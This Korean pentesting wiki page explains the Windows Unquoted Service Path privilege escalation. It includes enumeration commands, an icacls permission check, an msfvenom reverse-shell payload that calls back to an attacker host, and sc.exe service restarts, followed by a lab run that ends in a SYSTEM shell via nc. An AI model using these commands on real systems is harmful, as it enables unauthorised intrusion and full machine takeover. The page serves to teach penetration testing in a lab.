펜테스팅 위키
  • Welcome
    • Home
  • 정보 수집
    • OSINT
      • Sub Domain
      • Google Hacking
      • Github
      • IP Address
      • Employees
    • 내부망
      • RID Cycling
      • Password Spraying
      • Password Must Change
      • Extension
        • xlsx/ods
        • pfx
        • vhd
        • pst
        • vbs
        • hc
      • Protocol
        • 21 - FTP
        • 22 - SSH
        • 25 - SMTP
        • 23 - Telnet
        • 53 - DNS
        • 80/443 - HTTP
        • 88 - Kerberos
        • 111 - RPC
        • 135 - msrpc
        • 139/445 - SMB
        • 389/636 - LDAP
        • 1433 - MSSQL
        • 5985/5986 - wsman
  • 초기 침투
    • CVEs
      • CVE-2025-31486
    • Phishing
      • Command File
      • EXE + LNK
      • wax
      • Microsoft Word
    • Web
      • Quary Language
        • SQL
        • GraphQL
      • File Upload
      • File Download
      • XSS
      • SSRF
      • CSRF
      • Open Redirect
      • SOP / CORS
    • ZIP Slip
  • 지속성
    • Active Directory
      • Golden Tickets
      • Diamond Tickets
      • DC Shadow
      • RID Hijacking
      • Certificate
    • Local
      • Task Scheduler
      • Startup Folder
      • Registry AutoRun
      • COM
      • WMI Event Subscription
      • SSH Key Injection
      • DLL Hijacking
      • DLL SideLoading
      • Create Account
  • 권한 상승
    • Active Directory
      • DACL
        • ReadGMSAPassword
        • ReadLAPSPassword
        • ForceChangePassword
        • AddSelf
        • GenericAll
        • Inherited GenericAll
        • WriteOwner
        • GenericWrite
        • WriteProperty
        • WriteSPN
        • AddMembers
        • WriteGPO
        • AddAllowedToAct
        • AllExtendedRights
        • Restore-ADObject
      • AD CS
        • Abuse Permissions
        • ESC1
        • ESC2
        • ESC3
        • ESC4
        • ESC5
        • ESC6
        • ESC7
        • ESC8
        • ESC9
        • ESC10
        • ESC11
        • CVE-2022-26923
        • Non-PKINIT
      • MS14-068
      • Server Operators
      • DnsAdmins
      • noPac
      • Silver Tickets
      • KrbRelayUp
      • GPO
    • Windows
      • SeImpersonatePrivilege
      • Unquoted Service Path
      • Weak Service Permissions
      • Weak Service Binary Permissions
      • UAC Bypass
      • Always Install Elevated
      • Autoruns
      • Credential Manager
      • Local Service Account
  • 민감정보 탈취
    • Active Directory
      • Kerberoasting
      • Timeroasting
      • Targeted Kerberoast
      • ASRep-Roasting
      • AS Requested Service Tickets
      • Unconstrained Delegation
      • Constrained Delegation
      • Alternate Service Name
      • Resource Based Constrained Delegation
      • Shadow Credentials
      • DCSync
      • LSASS
      • Backup Operators
      • SeEnableDelegationPrivilege
      • Domain Cached Credentials
      • Network Access Account Credentials
      • DPAPI Backup Key
    • Windows
      • Unattended File
      • DPAPI
      • Hard-coding Credentials
      • SeBackupPrivilege
  • 측면 이동
    • File Transfer
      • SCP
      • ZIP
      • ncat
      • Python
      • PowerShell
      • certutil
      • wget
      • SMB
      • Base64
      • FTP
      • WebDav
      • cURL
    • Pivoting
      • SOCKS
      • Proxifier
      • Remote Port Forwarding
    • NTLM Relay
    • WebDAV Relay
    • WinRM
    • PsExec
    • WMI
    • DCOM
    • RDP
    • Port Forwarding
    • Domain Trust Discovery
  • 사용자 가장
    • Pass the Hash
  • Pass the Ticket
  • Overpass the Hash
  • Token Impersonation
  • Make Token
  • Process Injection
  • Domain Trust
    • Active Directory Trusts
    • Two-way Domain Trust
    • One-way Domain Trust
  • ETC
    • CS
      • Active Directory
      • Kerberos
      • NTLM
      • PKINIT
      • Integrity
      • Registry
      • Delegation
      • OAuth 2.0
      • S4U
      • SCCM
      • SID History
      • TRUSTWORTHY
      • Link Server Passwords
      • SSL Pinning
    • Tools
      • Mindmap
      • Cobalt Strike
      • BloodHound
      • LDAP Search
      • Hydra
      • Hashcat
      • Ligolo-ng
    • Home Lab
Powered by GitBook
On this page
  • Practice
  • References

Was this helpful?

Export as PDF
  1. 권한 상승
  2. Windows

Unquoted Service Path

PreviousSeImpersonatePrivilegeNextWeak Service Permissions

Last updated 1 month ago

Was this helpful?

Windows 서비스의 실행 경로에 공백이 포함된 경우, 경로를 큰따옴표(" ")로 감싸지 않으면 OS는 실행해야 할 서비스의 경로 및 파일을 잘못 해석할 수 있습니다. 예를 들어 service.exe 라는 파일을 서비스로 등록하여 실행하는 환경에서 이 실행파일의 경로를 C:\Program Files\My Service\System Service\service.exe 라고 할 때 Windows는 곧바로 C:\Program Files\My Service\System Service\ 경로 하위에 존재하는service.exe 실행파일을 실행하는 것이 아닌 다음의 순서를 거칩니다.

  1. C:\Program.exe 실행

  2. C:\Program Files\My.exe 실행

  3. C:\Program Files\My Service\System.exe 실행

  4. C:\Program Files\My Service\System Service\service.exe 실행

위와 같이 전체 경로에 공백이 존재하지만 따옴표로 감싸져 있지 않은 경우 Windows에서는 경로에 공백이 발생할 때마다 공백을 기준으로 앞의 단어에 .exe를 붙여서 실행을 시도합니다. MS에서는 다양한 서드파티 애플리케이션, 서비스와의 호환성 문제와 운영체제 경로 해석 방식 변경의 수정에 어려움이 있기 때문에 이러한 해석 방식을 변경하고 있지 않습니다. 결정적으로 MS에서는 이것을 설계상 취약점보다는 보안 관리 문제라고 판단하고 있습니다.

우리가 Unquoted Service Path를 발견하게 되었을 때 그 서비스 경로를 악용하여 곧바로 악성파일을 실행하여 권한상승을 할 수 있지는 않습니다. 이 취약점을 이용하기 위해서는 몇가지 조건이 필요합니다.

  1. 공백이 존재하지만 쿼터로 감싸져 있지 않은 서비스가 존재해야 한다.

  2. 서비스 경로 중 공백이 존재하는 디렉토리에 쓰기 권한이 존재해야 한다.

  3. 해당 서비스를 재실행 할 수 있는 권한이 존재해야 한다.

먼저 취약한 서비스를 찾기 위해서는 3가지 방안을 사용할 수 있습니다.

Get-WmiObject Win32_Service | Where-Object { $_.PathName -notlike 'C:\Windows\*' -and $_.PathName -notmatch '^\s*\".*\".*$' } | Select-Object Name, DisplayName, PathName, StartMode
wmic service get name,displayname,pathname,startmode | findstr /i /v "C:\Windows\\" |findstr /i /v """
Import-Module .\PowerUp.ps1
Get-UnquotedService

3번의 방법은 PowerUp.ps1 자체가 악성코드라고 판단되어서 Windows 디펜더와 같은 보안 프로그램 혹은 솔루션이 존재할 시에는 사용할 수 없습니다. 따라서 CTF가 아닌 실무에서는 파워쉘 명령을 입력하여 수동으로 찾아줍니다. 공백이 존재하는 경로 내에서 쓰기 권한이 있는지 확인하기 위해서는 파워쉘에서 기본으로 제공하는 icacls를 사용해줍니다.

# 디렉토리 권한 확인
icacls PATH

# 리버스쉘 실행 파일 생성
msfvenom -a x64 -p windows/x64/shell_reverse_tcp LHOST=IP LPORT=PORT -f exe -o SERVICE.exe

# 서비스 재실행
sc.exe stop SERVICE
sc.exe start SERVICE

Practice

PS C:\Windows\Temp\Unquoted Path> sc.exe qc unqsvc
sc.exe qc unqsvc
[SC] QueryServiceConfig 

SERVICE_NAME: unqsvc
                       : 10  WIN32_OWN_PROCESS 
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Windows\Temp\Unquoted Path\hello.exe
        LOAD_ORDER_GROUP   : 
                        : 0
        DISPLAY_NAME       : unqsvc
        Ӽ       : 
        SERVICE_START_NAME : LocalSystem

파워쉘 명령을 통해서 unqsvc에 대한 상세 정보를 출력하니 C:\Windows\Temp\Unquoted Path 경로에 서비스가 존재했습니다. 현재상황에서Unquoted Service Path 취약점을 악용하려면 Unquoted.exe 라는 파일을 Temp 디렉토리 하위에 생성해야 합니다.

PS C:\Windows\Temp> icacls .
icacls .
. BUILTIN\Users:(CI)(S,WD,AD,X)
  BUILTIN\Administrators:(F)
  BUILTIN\Administrators:(OI)(CI)(IO)(F)
  NT AUTHORITY\SYSTEM:(F)
  NT AUTHORITY\SYSTEM:(OI)(CI)(IO)(F)
  CREATOR OWNER:(OI)(CI)(IO)(F)
  \yeonu:(OI)(CI)(F)

해당 취약점 악용 시 가장 중요하다고 할 수 있는 것은 서비스 경로를 악용할 수 있는 위치에 파일을 생성할 권한이 있는지 여부입니다. 현재 악용 가능한 디렉토리는 C:\Windows\Temp로 쓰기 권한이 존재하는 것을 확인했습니다. Unquoted.exe 파일을 msfvenom으로 생성해줍니다.

# 리버스쉘 파일 생성
msfvenom -a x64 -p windows/x64/shell_reverse_tcp LHOST=192.168.200.132 LPORT=9999 -f exe -o Unquoted.exe

# 서비스 재실행
sc.exe stop unqsvc
sc.exe start unqsve

# 결과 확인
└─# nc -lvnp 9999 
listening on [any] 9999 ...
connect to [192.168.200.132] from (UNKNOWN) [192.168.200.1] 62661
Microsoft Windows [Version 10.0.26100.2161]
(c) Microsoft Corporation. All rights reserved.

C:\Windows\System32>whoami
nt authority\system

기본적으로 표준 사용자는 서비스를 중지하거나 시작할 수 없으므로 일반적으로 컴퓨터를 재부팅해야 합니다.

References

PowerSploit/PowerUp.ps1 at master · PowerShellMafia/PowerSploitGitHub
윈도우 권한상승 #2 Unquoted Service PathTISTORY
Logo
Windows PrivEscTryHackMe
Logo
Logo